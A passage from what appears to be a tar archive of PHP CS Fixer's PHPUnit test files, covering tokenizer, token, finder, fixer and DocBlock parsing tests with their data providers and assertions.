     * @dataProvider provideArrayExceptions
     */
    public function testIsNotShortArray($source, $tokenIndex)
    {
        $tokens = Tokens::fromCode($source);
        $this->assertFalse($tokens->isShortArray($tokenIndex));
    }

    /**
     * @expectedException \InvalidArgumentException
     * @dataProvider provideArrayExceptions
     */
    public function testIsMultiLineArrayException($source, $tokenIndex)
    {
        $tokens = Tokens::fromCode($source);
        $tokens->isArrayMultiLine($tokenIndex);
    }

    public function provideArrayExceptions()
    {
        $cases = array(
            array('<?php $a;', 1),
            array("<?php\n \$a = (0+1); // [0,1]", 4),
            array('<?php $text = "foo $bbb[0] bar";', 8),
            array('<?php $text = "foo ${aaa[123]} bar";', 9),
        );

        return $cases;
    }

    /**
     * @dataProvider getImportUseIndexesCases
     */
    public function testGetImportUseIndexes(array $expected, $input, $perNamespace = false)
    {
        $tokens = Tokens::fromCode($input);
        $this->assertSame($expected, $tokens->getImportUseIndexes($perNamespace));
    }

    public function getImportUseIndexesCases()
    {
        return array(
            array(
                array(1, 8),
                '<?php use E\F?><?php use A\B;',
            ),
            array(
                array(array(1), array(14), array(29)),
'<?php
use T\A;
namespace A { use D\C; }
namespace b { use D\C; }
',
                true,
            ),
            array(
                array(array(1, 8)),
                '<?php use D\B; use A\C?>',
                true,
            ),
            array(
                array(1, 8),
                '<?php use D\B; use A\C?>',
            ),
            array(
                array(7, 22),
'<?php
namespace A { use D\C; }
namespace b { use D\C; }
',
            ),
            array(
                array(3, 10, 34, 45, 54, 59, 77, 95),
 <<<'EOF'
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Foo\Bar;
use Foo\Bar\Foo as Fooo, Foo\Bar\FooBar as FooBaz;
 use Foo\Bir as FBB;
use Foo\Zar\Baz;
use SomeClass;
   use Symfony\Annotation\Template, Symfony\Doctrine\Entities\Entity;
use Zoo\Bar;

$a = new someclass();

use Zoo\Tar;

class AnnotatedClass
{
}
EOF
                ,
            ),
        );
    }

    /**
     * @dataProvider getImportUseIndexesCasesPHP70
     * @requires PHP 7.0
     */
    public function testGetImportUseIndexesPHP70(array $expected, $input, $perNamespace = false)
    {
        $tokens = Tokens::fromCode($input);
        $this->assertSame($expected, $tokens->getImportUseIndexes($perNamespace));
    }

    public function getImportUseIndexesCasesPHP70()
    {
        return array(
            array(
                array(1, 22, 41),
                '<?php
use some\a\{ClassA, ClassB, ClassC as C};
use function some\a\{fn_a, fn_b, fn_c};
use const some\a\{ConstA, ConstB, ConstC};
                ',
            ),
            array(
                array(array(1, 22, 41)),
                '<?php
use some\a\{ClassA, ClassB, ClassC as C};
use function some\a\{fn_a, fn_b, fn_c};
use const some\a\{ConstA, ConstB, ConstC};
                ',
                true,
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/AbstractTransformerTestBase.php000066600000003146151456236460022254 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer;

use Symfony\CS\Tokenizer\Transformers;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
abstract class AbstractTransformerTestBase extends \PHPUnit_Framework_TestCase
{
    protected static $transformer;
    protected static $transformers;

    public static function setUpBeforeClass()
    {
        static::$transformers = static::getTransformers();
        static::$transformer = static::getTransformer();
    }

    public static function tearDownAfterClass()
    {
        static::$transformer = null;
        static::$transformers = null;
    }

    protected static function getTransformer()
    {
        $transformerClass = 'Symfony\CS\Tokenizer'.substr(get_called_class(), strlen(__NAMESPACE__), -strlen('Test'));

        $transformersReflection = new \ReflectionClass(static::$transformers);
        $propertyReflection = $transformersReflection->getProperty('items');
        $propertyReflection->setAccessible(true);

        $items = $propertyReflection->getValue(static::$transformers);

        foreach ($items as $item) {
            if ($item instanceof $transformerClass) {
                return $item;
            }
        }

        throw new \RuntimeException(sprintf('Transformer class "%s" not found.', $transformerClass));
    }

    protected static function getTransformers()
    {
        return Transformers::create();
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/TokenTest.php000066600000035367151456236460016565 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer;

use Symfony\CS\Tokenizer\Token;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class TokenTest extends \PHPUnit_Framework_TestCase
{
    public function getBraceToken()
    {
        return new Token($this->getBraceTokenPrototype());
    }

    public function getBraceTokenPrototype()
    {
        return '(';
    }

    public function getForeachToken()
    {
        return new Token($this->getForeachTokenPrototype());
    }

    public function getForeachTokenPrototype()
    {
        static $prototype = array(T_FOREACH, 'foreach', 123);

        return $prototype;
    }

    public function testClear()
    {
        $token = $this->getForeachToken();
        $token->clear();

        $this->assertSame('', $token->getContent());
        $this->assertNull($token->getId());
        $this->assertNull($token->getLine());
        $this->assertFalse($token->isArray());
    }

    public function testGetPrototype()
    {
        $this->assertSame($this->getBraceTokenPrototype(), $this->getBraceToken()->getPrototype());
        $this->assertSame($this->getForeachTokenPrototype(), $this->getForeachToken()->getPrototype());
    }

    public function testIsArray()
    {
        $this->assertFalse($this->getBraceToken()->isArray());
        $this->assertTrue($this->getForeachToken()->isArray());
    }

    /**
     * @dataProvider provideIsCastCases
     */
    public function testIsCast($token, $isCast)
    {
        $this->assertSame($isCast, $token->isCast());
    }

    public function provideIsCastCases()
    {
        return array(
            array($this->getBraceToken(), false),
            array($this->getForeachToken(), false),
            array(new Token(array(T_ARRAY_CAST, '(array)', 1)), true),
            array(new Token(array(T_BOOL_CAST, '(bool)', 1)), true),
            array(new Token(array(T_DOUBLE_CAST, '(double)', 1)), true),
            array(new Token(array(T_INT_CAST, '(int)', 1)), true),
            array(new Token(array(T_OBJECT_CAST, '(object)', 1)), true),
            array(new Token(array(T_STRING_CAST, '(string)', 1)), true),
            array(new Token(array(T_UNSET_CAST, '(unset)', 1)), true),
        );
    }

    /**
     * @dataProvider provideIsClassyCases
     */
    public function testIsClassy($token, $isClassy)
    {
        $this->assertSame($isClassy, $token->isClassy());
    }

    public function provideIsClassyCases()
    {
        $cases = array(
            array($this->getBraceToken(), false),
            array($this->getForeachToken(), false),
            array(new Token(array(T_CLASS, 'class', 1)), true),
            array(new Token(array(T_INTERFACE, 'interface', 1)), true),
        );

        if (defined('T_TRAIT')) {
            $cases[] = array(new Token(array(T_TRAIT, 'trait', 1)), true);
        }

        return $cases;
    }

    /**
     * @dataProvider provideIsCommentCases
     */
    public function testIsComment($token, $isComment)
    {
        $this->assertSame($isComment, $token->isComment());
    }

    public function provideIsCommentCases()
    {
        return array(
            array($this->getBraceToken(), false),
            array($this->getForeachToken(), false),
            array(new Token(array(T_COMMENT, '/* comment */', 1)), true),
            array(new Token(array(T_DOC_COMMENT, '/** docs */', 1)), true),
        );
    }

    public function testIsEmpty()
    {
        $braceToken = $this->getBraceToken();
        $this->assertFalse($braceToken->isEmpty());

        $braceToken->setContent('');
        $this->assertTrue($braceToken->isEmpty());

        $whitespaceToken = new Token(array(T_WHITESPACE, ' '));
        $this->assertFalse($whitespaceToken->isEmpty());

        $whitespaceToken->setContent('');
        $this->assertTrue($whitespaceToken->isEmpty());

        $whitespaceToken->override(array(null, ''));
        $this->assertTrue($whitespaceToken->isEmpty());

        $whitespaceToken = new Token(array(T_WHITESPACE, ' '));
        $whitespaceToken->clear();
        $this->assertTrue($whitespaceToken->isEmpty());
    }

    public function testIsGivenKind()
    {
        $braceToken = $this->getBraceToken();
        $foreachToken = $this->getForeachToken();

        $this->assertFalse($braceToken->isGivenKind(T_FOR));
        $this->assertFalse($braceToken->isGivenKind(T_FOREACH));
        $this->assertFalse($braceToken->isGivenKind(array(T_FOR)));
        $this->assertFalse($braceToken->isGivenKind(array(T_FOREACH)));
        $this->assertFalse($braceToken->isGivenKind(array(T_FOR, T_FOREACH)));

        $this->assertFalse($foreachToken->isGivenKind(T_FOR));
        $this->assertTrue($foreachToken->isGivenKind(T_FOREACH));
        $this->assertFalse($foreachToken->isGivenKind(array(T_FOR)));
        $this->assertTrue($foreachToken->isGivenKind(array(T_FOREACH)));
        $this->assertTrue($foreachToken->isGivenKind(array(T_FOR, T_FOREACH)));
    }

    public function testIsKeywords()
    {
        $this->assertTrue($this->getForeachToken()->isKeyword());
        $this->assertFalse($this->getBraceToken()->isKeyword());
    }

    /**
     * @param int    $tokenId
     * @param string $content
     * @param bool   $isConstant
     *
     * @dataProvider provideMagicConstantCases
     */
    public function testIsMagicConstant($tokenId, $content, $isConstant = true)
    {
        $token = new Token(array($tokenId, $content));
        $this->assertSame($isConstant, $token->isMagicConstant());
    }

    public function provideMagicConstantCases()
    {
        $cases = array(
            array(T_CLASS_C, '__CLASS__'),
            array(T_DIR, '__DIR__'),
            array(T_FILE, '__FILE__'),
            array(T_FUNC_C, '__FUNCTION__'),
            array(T_LINE, '__LINE__'),
            array(T_METHOD_C, '__METHOD__'),
            array(T_NS_C, '__NAMESPACE__'),
        );

        if (defined('T_TRAIT_C')) {
            $cases[] = array(T_TRAIT_C, '__TRAIT__');
        }

        foreach ($cases as $case) {
            $cases[] = array($case[0], strtolower($case[1]));
        }

        foreach (array($this->getForeachToken(), $this->getBraceToken()) as $token) {
            $cases[] = array($token->getId(), $token->getContent(), false);
            $cases[] = array($token->getId(), strtolower($token->getContent()), false);
        }

        return $cases;
    }

    /**
     * @dataProvider provideIsNativeConstantCases
     */
    public function testIsNativeConstant($token, $isNativeConstant)
    {
        $this->assertSame($isNativeConstant, $token->isNativeConstant());
    }

    public function provideIsNativeConstantCases()
    {
        return array(
            array($this->getBraceToken(), false),
            array($this->getForeachToken(), false),
            array(new Token(array(T_STRING, 'null', 1)), true),
            array(new Token(array(T_STRING, 'false', 1)), true),
            array(new Token(array(T_STRING, 'true', 1)), true),
            array(new Token(array(T_STRING, 'tRuE', 1)), true),
            array(new Token(array(T_STRING, 'TRUE', 1)), true),
        );
    }

    /**
     * @dataProvider provideIsWhitespaceCases
     */
    public function testIsWhitespace($token, $isWhitespace, array $opts = array())
    {
        $this->assertSame($isWhitespace, $token->isWhitespace($opts));
    }

    public function provideIsWhitespaceCases()
    {
        return array(
            array($this->getBraceToken(), false),
            array($this->getForeachToken(), false),
            array(new Token(' '), true),
            array(new Token("\t "), true),
            array(new Token("\t "), false, array('whitespaces' => ' ')),
            array(new Token(array(T_WHITESPACE, "\r", 1)), true),
            array(new Token(array(T_WHITESPACE, "\0", 1)), true),
            array(new Token(array(T_WHITESPACE, "\x0B", 1)), true),
            array(new Token(array(T_WHITESPACE, "\n", 1)), true),
            array(new Token(array(T_WHITESPACE, "\n", 1)), false, array('whitespaces' => " \t")),
        );
    }

    public function testPropertiesOfArrayToken()
    {
        $prototype = $this->getForeachTokenPrototype();
        $token = $this->getForeachToken();

        $this->assertSame($prototype[0], $token->getId());
        $this->assertSame($prototype[1], $token->getContent());
        $this->assertSame($prototype[2], $token->getLine());
        $this->assertTrue($token->isArray());
    }

    public function testPropertiesOfNonArrayToken()
    {
        $prototype = $this->getBraceTokenPrototype();
        $token = $this->getBraceToken();

        $this->assertSame($prototype, $token->getContent());
        $this->assertNull($token->getId());
        $this->assertNull($token->getLine());
        $this->assertFalse($token->isArray());
    }

    public function testEqualsDefaultIsCaseSensitive()
    {
        $token = new Token(array(T_FUNCTION, 'function', 1));

        $this->assertTrue($token->equals(array(T_FUNCTION, 'function')));
        $this->assertFalse($token->equals(array(T_FUNCTION, 'Function')));
    }

    /**
     * @dataProvider provideEquals
     */
    public function testEquals(Token $token, $equals, $other, $caseSensitive = true)
    {
        $this->assertSame($equals, $token->equals($other, $caseSensitive));
    }

    public function provideEquals()
    {
        $brace = $this->getBraceToken();
        $function = new Token(array(T_FUNCTION, 'function', 1));

        return array(
            array($brace, false, '!'),
            array($brace, false, '!', false),
            array($brace, true, '('),
            array($brace, true, '(', false),
            array($function, false, '('),
            array($function, false, '(', false),
            array($function, false, array(T_NAMESPACE)),
            array($function, false, array(T_NAMESPACE), false),
            array($function, false, array(T_VARIABLE, 'function')),
            array($function, false, array(T_VARIABLE, 'function'), false),
            array($function, false, array(T_VARIABLE, 'Function')),
            array($function, false, array(T_VARIABLE, 'Function'), false),
            array($function, true, array(T_FUNCTION)),
            array($function, true, array(T_FUNCTION), false),
            array($function, true, array(T_FUNCTION, 'function')),
            array($function, true, array(T_FUNCTION, 'function'), false),
            array($function, false, array(T_FUNCTION, 'Function')),
            array($function, true, array(T_FUNCTION, 'Function'), false),
            array($function, false, array(T_FUNCTION, 'junction'), false),

            // Line number is checked too, as well as any additional field, if it is an array
            array($function, true, new Token(array(T_FUNCTION, 'function', 1))),
            array($function, true, new Token(array(T_FUNCTION, 'Function', 1)), false),
            array($function, false, new Token(array(T_FUNCTION, 'function', 10))),
            array($function, false, new Token(array(T_FUNCTION, 'function', 10)), false),
            array($function, true, array(T_FUNCTION, 'function', 1)),
            array($function, true, array(T_FUNCTION, 'Function', 1), false),
            array($function, false, array(T_FUNCTION, 'function', 10)),
            array($function, false, array(T_FUNCTION, 'function', 10), false),
            array($function, false, array(T_FUNCTION, 'function', 1, 'unexpected')),
        );
    }

    public function testEqualsAnyDefaultIsCaseSensitive()
    {
        $token = new Token(array(T_FUNCTION, 'function', 1));

        $this->assertTrue($token->equalsAny(array(array(T_FUNCTION, 'function'))));
        $this->assertFalse($token->equalsAny(array(array(T_FUNCTION, 'Function'))));
    }

    /**
     * @dataProvider provideEqualsAny
     */
    public function testEqualsAny($equalsAny, $other, $caseSensitive = true)
    {
        $token = new Token(array(T_FUNCTION, 'function', 1));

        $this->assertSame($equalsAny, $token->equalsAny($other, $caseSensitive));
    }

    public function provideEqualsAny()
    {
        $brace = $this->getBraceToken();
        $foreach = $this->getForeachToken();

        return array(
            array(false, array()),
            array(false, array($brace)),
            array(false, array($brace, $foreach)),
            array(true, array($brace, $foreach, array(T_FUNCTION))),
            array(true, array($brace, $foreach, array(T_FUNCTION, 'function'))),
            array(false, array($brace, $foreach, array(T_FUNCTION, 'Function'))),
            array(true, array($brace, $foreach, array(T_FUNCTION, 'Function')), false),
            array(false, array($brace, $foreach, array(T_FUNCTION, 'Function')), array()),
            array(false, array($brace, $foreach, array(T_FUNCTION, 'Function')), array(false)),
            array(false, array($brace, $foreach, array(T_FUNCTION, 'Function')), array(false, false)),
            array(true, array($brace, $foreach, array(T_FUNCTION, 'Function')), array(false, false, false)),

            array(true, array(array(T_FUNCTION, 'Function'), array(T_FUNCTION, 'function')), array(true, true)),
            array(true, array(array(T_FUNCTION, 'Function'), array(T_FUNCTION, 'function')), array(true)),
            array(true, array(array(T_FUNCTION, 'Function'), array(T_FUNCTION, 'function')), array(false, false)),
            array(true, array(array(T_FUNCTION, 'Function'), array(T_FUNCTION, 'function')), array(false)),

            array(false, array(array(T_FUNCTION, 'Function'), array(T_VARIABLE, 'function')), array(true, false)),
            array(false, array(array(T_FUNCTION, 'Function'), array(T_VARIABLE, 'function')), array(true, true)),

            array(true, array(',', '}', array(T_FUNCTION, 'Function')), array(2 => false)),

            array(false, array(array(T_VARIABLE, 'junction'), array(T_FUNCTION, 'junction')), false),
        );
    }

    /**
     * @dataProvider provideIsKeyCaseSensitive
     */
    public function testIsKeyCaseSensitive($isKeyCaseSensitive, $caseSensitive, $key)
    {
        $this->assertSame($isKeyCaseSensitive, Token::isKeyCaseSensitive($caseSensitive, $key));
    }

    public function provideIsKeyCaseSensitive()
    {
        return array(
            array(true, true, 0),
            array(true, true, 1),
            array(true, array(), 0),
            array(true, array(true), 0),
            array(true, array(false, true), 1),
            array(true, array(false, true, false), 1),
            array(true, array(false), 10),

            array(false, false, 10),
            array(false, array(false), 0),
            array(false, array(true, false), 1),
            array(false, array(true, false, true), 1),
            array(false, array(1 => false), 1),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Finder/DefaultFinderTest.php000066600000001226151456236460017441 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Finder;

use Symfony\CS\Finder\DefaultFinder;

class DefaultFinderTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @expectedException \LogicException
     * "You must call one of in() or append() methods before iterating over a Finder."
     */
    public function testThatDefaultFinderDoesNotSpecifyAnyDirectory()
    {
        $finder = DefaultFinder::create();
        $finder->getIterator();
    }
}
php-cs-fixer/Symfony/CS/Tests/AbstractFixerTest.php000066600000001561151456236460016261 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class AbstractFixerTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @expectedException        \LogicException
     * @expectedExceptionMessage Can not determine Fixer level
     */
    public function testLevelThatNotExists()
    {
        $mockup = $this->getMockForAbstractClass('\\Symfony\\CS\\AbstractFixer');
        $mockup->getLevel();
    }

    public function testSupports()
    {
        $mockup = $this->getMockForAbstractClass('\\Symfony\\CS\\AbstractFixer');
        $this->assertTrue($mockup->supports(new \SplFileInfo(__FILE__)));
    }
}
php-cs-fixer/Symfony/CS/Tests/DocBlock/TagTest.php000066600000004404151456236460015712 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\DocBlock;

use Symfony\CS\DocBlock\Tag;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class TagTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @dataProvider provideNameCases
     */
    public function testName($expected, $input)
    {
        $tag = new Tag($input);

        $this->assertSame($expected, $tag->getName());
    }

    public function provideNameCases()
    {
        return array(
            array('param', '     * @param Foo $foo'),
            array('return', '*   @return            false'),
            array('thRoWs', '*@thRoWs \Exception'),
            array('THROWSSS', "\t@THROWSSS\t  \t RUNTIMEEEEeXCEPTION\t\t\t\t\t\t\t\n\n\n"),
            array('other', ' *   @\Foo\Bar(baz = 123)'),
            array('expectedException', '     * @expectedException Exception'),
            array('property-read', ' * @property-read integer $daysInMonth number of days in the given month'),
            array('method', ' * @method'),
            array('method', ' * @method string getString()'),
            array('other', ' * @method("GET")'),
        );
    }

    /**
     * @dataProvider provideValidCases
     */
    public function testValid($expected, $input)
    {
        $tag = new Tag($input);

        $this->assertSame($expected, $tag->valid());
    }

    public function provideValidCases()
    {
        return array(
            array(true, '     * @param Foo $foo'),
            array(true, '*   @return            false'),
            array(true, '*@throws \Exception'),
            array(true, ' * @method'),
            array(true, ' * @method string getString()'),
            array(true, ' * @property-read integer $daysInMonth number of days in the given month'),
            array(false, ' * @method("GET")'),
            array(false, '*@thRoWs \InvalidArgumentException'),
            array(false, "\t@THROWSSS\t  \t RUNTIMEEEEeXCEPTION\t\t\t\t\t\t\t\n\n\n"),
            array(false, ' *   @\Foo\Bar(baz = 123)'),
            array(false, '     * @expectedException Exception'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/DocBlock/DocBlockTest.php000066600000007666151456236460016674 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\DocBlock;

use Symfony\CS\DocBlock\DocBlock;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class DocBlockTest extends \PHPUnit_Framework_TestCase
{
    /**
     * This represents the content an entire docblock.
     *
     * @var string
     */
    private static $sample = '/**
     * Test docblock.
     *
     * @param string $hello
     * @param bool $test Description
     *        extends over many lines
     *
     * @param adkjbadjasbdand $asdnjkasd
     *
     * @throws \Exception asdnjkasd
     * asdasdasdasdasdasdasdasd
     * kasdkasdkbasdasdasdjhbasdhbasjdbjasbdjhb
     *
     * @return void
     */';

    public function testContent()
    {
        $doc = new DocBlock(self::$sample);

        $this->assertSame(self::$sample, $doc->getContent());
        $this->assertSame(self::$sample, (string) $doc);
    }

    public function testEmptyContent()
    {
        $doc = new DocBlock('');

        $this->assertSame('', $doc->getContent());
    }

    public function testGetLines()
    {
        $doc = new DocBlock(self::$sample);

        $this->assertInternalType('array', $doc->getLines());
        $this->assertCount(15, $doc->getLines());

        foreach ($doc->getLines() as $index => $line) {
            $this->assertInstanceOf('Symfony\CS\DocBlock\Line', $line);
            $this->assertSame($doc->getLine($index), $line);
        }

        $this->assertEmpty($doc->getLine(15));
    }

    public function testGetAnnotations()
    {
        $doc = new DocBlock(self::$sample);

        $this->assertInternalType('array', $doc->getAnnotations());
        $this->assertCount(5, $doc->getAnnotations());

        foreach ($doc->getAnnotations() as $index => $annotations) {
            $this->assertInstanceOf('Symfony\CS\DocBlock\Annotation', $annotations);
            $this->assertSame($doc->getAnnotation($index), $annotations);
        }

        $this->assertEmpty($doc->getAnnotation(5));
    }

    public function testGetAnnotationsOfTypeParam()
    {
        $doc = new DocBlock(self::$sample);

        $annotations = $doc->getAnnotationsOfType('param');

        $this->assertInternalType('array', $annotations);
        $this->assertCount(3, $annotations);

        $first = '     * @param string $hello
';
        $second = '     * @param bool $test Description
     *        extends over many lines
';
        $third = '     * @param adkjbadjasbdand $asdnjkasd
';

        $this->assertSame($first, $annotations[0]->getContent());
        $this->assertSame($second, $annotations[1]->getContent());
        $this->assertSame($third, $annotations[2]->getContent());
    }

    public function testGetAnnotationsOfTypeThrows()
    {
        $doc = new DocBlock(self::$sample);

        $annotations = $doc->getAnnotationsOfType('throws');

        $this->assertInternalType('array', $annotations);
        $this->assertCount(1, $annotations);

        $content = '     * @throws \Exception asdnjkasd
     * asdasdasdasdasdasdasdasd
     * kasdkasdkbasdasdasdjhbasdhbasjdbjasbdjhb
';

        $this->assertSame($content, $annotations[0]->getContent());
    }

    public function testGetAnnotationsOfTypeReturn()
    {
        $doc = new DocBlock(self::$sample);

        $annotations = $doc->getAnnotationsOfType('return');

        $this->assertInternalType('array', $annotations);
        $this->assertCount(1, $annotations);

        $content = '     * @return void
';

        $this->assertSame($content, $annotations[0]->getContent());
    }

    public function testGetAnnotationsOfTypeFoo()
    {
        $doc = new DocBlock(self::$sample);

        $annotations = $doc->getAnnotationsOfType('foo');

        $this->assertInternalType('array', $annotations);
        $this->assertCount(0, $annotations);
    }
}
php-cs-fixer/Symfony/CS/Tests/DocBlock/TagComparatorTest.php000066600000002260151456236460017740 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\DocBlock;

use Symfony\CS\DocBlock\Tag;
use Symfony\CS\DocBlock\TagComparator;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class TagComparatorTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @dataProvider provideComparatorCases
     */
    public function testComparatorTogether($first, $second, $expected)
    {
        $tag1 = new Tag('* @'.$first);
        $tag2 = new Tag('* @'.$second);

        $this->assertSame($expected, TagComparator::shouldBeTogether($tag1, $tag2));
    }

    public function provideComparatorCases()
    {
        return array(
            array('return', 'return', true),
            array('param', 'param', true),
            array('return', 'param', false),
            array('var', 'foo', false),
            array('api', 'deprecated', false),
            array('author', 'copyright', true),
            array('author', 'since', false),
            array('link', 'see', true),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/DocBlock/AnnotationTest.php000066600000014075151456236460017316 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\DocBlock;

use Symfony\CS\DocBlock\Annotation;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\DocBlock\Line;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class AnnotationTest extends \PHPUnit_Framework_TestCase
{
    /**
     * This represents the content an entire docblock.
     *
     * @var string
     */
    private static $sample = '/**
     * Test docblock.
     *
     * @param string $hello
     * @param bool $test Description
     *        extends over many lines
     *
     * @param adkjbadjasbdand $asdnjkasd
     *
     * @throws \Exception asdnjkasd
     *
     * asdasdasdasdasdasdasdasd
     * kasdkasdkbasdasdasdjhbasdhbasjdbjasbdjhb
     *
     * @return void
     */';

    /**
     * This represents the content of each annotation.
     *
     * @var string[]
     */
    private static $content = array(
        "     * @param string \$hello\n",
        "     * @param bool \$test Description\n     *        extends over many lines\n",
        "     * @param adkjbadjasbdand \$asdnjkasd\n",
        "     * @throws \Exception asdnjkasd\n     *\n     * asdasdasdasdasdasdasdasd\n     * kasdkasdkbasdasdasdjhbasdhbasjdbjasbdjhb\n",
        "     * @return void\n",
    );

    /**
     * This represents the start indexes of each annotation.
     *
     * @var int[]
     */
    private static $start = array(3, 4, 7, 9, 14);

    /**
     * This represents the start indexes of each annotation.
     *
     * @var int[]
     */
    private static $end = array(3, 5, 7, 12, 14);

    /**
     * This represents the tag type of each annotation.
     *
     * @var int[]
     */
    private static $tags = array('param', 'param', 'param', 'throws', 'return');

    /**
     * @dataProvider provideContent
     */
    public function testGetContent($index, $content)
    {
        $doc = new DocBlock(self::$sample);
        $annotation = $doc->getAnnotation($index);

        $this->assertSame($content, $annotation->getContent());
        $this->assertSame($content, (string) $annotation);
    }

    public function provideContent()
    {
        $cases = array();

        foreach (self::$content as $index => $content) {
            $cases[] = array($index, $content);
        }

        return $cases;
    }

    /**
     * @dataProvider provideStartCases
     */
    public function testStart($index, $start)
    {
        $doc = new DocBlock(self::$sample);
        $annotation = $doc->getAnnotation($index);

        $this->assertSame($start, $annotation->getStart());
    }

    public function provideStartCases()
    {
        $cases = array();

        foreach (self::$start as $index => $start) {
            $cases[] = array($index, $start);
        }

        return $cases;
    }

    /**
     * @dataProvider provideEndCases
     */
    public function testEnd($index, $end)
    {
        $doc = new DocBlock(self::$sample);
        $annotation = $doc->getAnnotation($index);

        $this->assertSame($end, $annotation->getEnd());
    }

    public function provideEndCases()
    {
        $cases = array();

        foreach (self::$end as $index => $end) {
            $cases[] = array($index, $end);
        }

        return $cases;
    }

    /**
     * @dataProvider provideTags
     */
    public function testGetTag($index, $tag)
    {
        $doc = new DocBlock(self::$sample);
        $annotation = $doc->getAnnotation($index);

        $this->assertSame($tag, $annotation->getTag()->getName());
    }

    public function provideTags()
    {
        $cases = array();

        foreach (self::$tags as $index => $tag) {
            $cases[] = array($index, $tag);
        }

        return $cases;
    }

    /**
     * @dataProvider provideRemoveCases
     */
    public function testRemove($index, $start, $end)
    {
        $doc = new DocBlock(self::$sample);
        $annotation = $doc->getAnnotation($index);

        $annotation->remove();
        $this->assertSame('', $annotation->getContent());
        $this->assertSame('', $doc->getLine($start)->getContent());
        $this->assertSame('', $doc->getLine($end)->getContent());
    }

    public function provideRemoveCases()
    {
        $cases = array();

        foreach (self::$start as $index => $start) {
            $cases[] = array($index, $start, self::$end[$index]);
        }

        return $cases;
    }

    /**
     * @dataProvider provideTypesCases
     */
    public function testTypes($expected, $new, $input, $output)
    {
        $line = new Line($input);
        $tag = new Annotation(array($line));

        $this->assertSame($expected, $tag->getTypes());

        $tag->setTypes($new);

        $this->assertSame($new, $tag->getTypes());

        $this->assertSame($output, $line->getContent());
    }

    public function provideTypesCases()
    {
        return array(
            array(array('Foo', 'null'), array('Bar[]'), '     * @param Foo|null $foo', '     * @param Bar[] $foo'),
            array(array('false'), array('bool'), '*   @return            false', '*   @return            bool'),
            array(array('RUNTIMEEEEeXCEPTION'), array('Throwable'), "\t@throws\t  \t RUNTIMEEEEeXCEPTION\t\t\t\t\t\t\t\n\n\n", "\t@throws\t  \t Throwable\t\t\t\t\t\t\t\n\n\n"),
            array(array('string'), array('string', 'null'), ' * @method string getString()', ' * @method string|null getString()'),
        );
    }

    /**
     * @expectedException RuntimeException
     * @expectedExceptionMessage This tag does not support types
     */
    public function testGetTypesOnBadTag()
    {
        $tag = new Annotation(array(new Line(' * @deprecated since 1.2')));

        $tag->getTypes();
    }

    /**
     * @expectedException RuntimeException
     * @expectedExceptionMessage This tag does not support types
     */
    public function testSetTypesOnBadTag()
    {
        $tag = new Annotation(array(new Line(' * @author Chuck Norris')));

        $tag->setTypes(array('string'));
    }
}
php-cs-fixer/Symfony/CS/Tests/DocBlock/LineTest.php000066600000011400151456236460016060 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\DocBlock;

use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\DocBlock\Line;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class LineTest extends \PHPUnit_Framework_TestCase
{
    /**
     * This represents the content an entire docblock.
     *
     * @var string
     */
    private static $sample = '/**
     * Test docblock.
     *
     * @param string $hello
     * @param bool $test Description
     *        extends over many lines
     *
     * @param adkjbadjasbdand $asdnjkasd
     *
     * @throws \Exception asdnjkasd
     * asdasdasdasdasdasdasdasd
     * kasdkasdkbasdasdasdjhbasdhbasjdbjasbdjhb
     *
     * @return void
     */';

    /**
     * This represents the content of each line.
     *
     * @var string[]
     */
    private static $content = array(
        "/**\n",
        "     * Test docblock.\n",
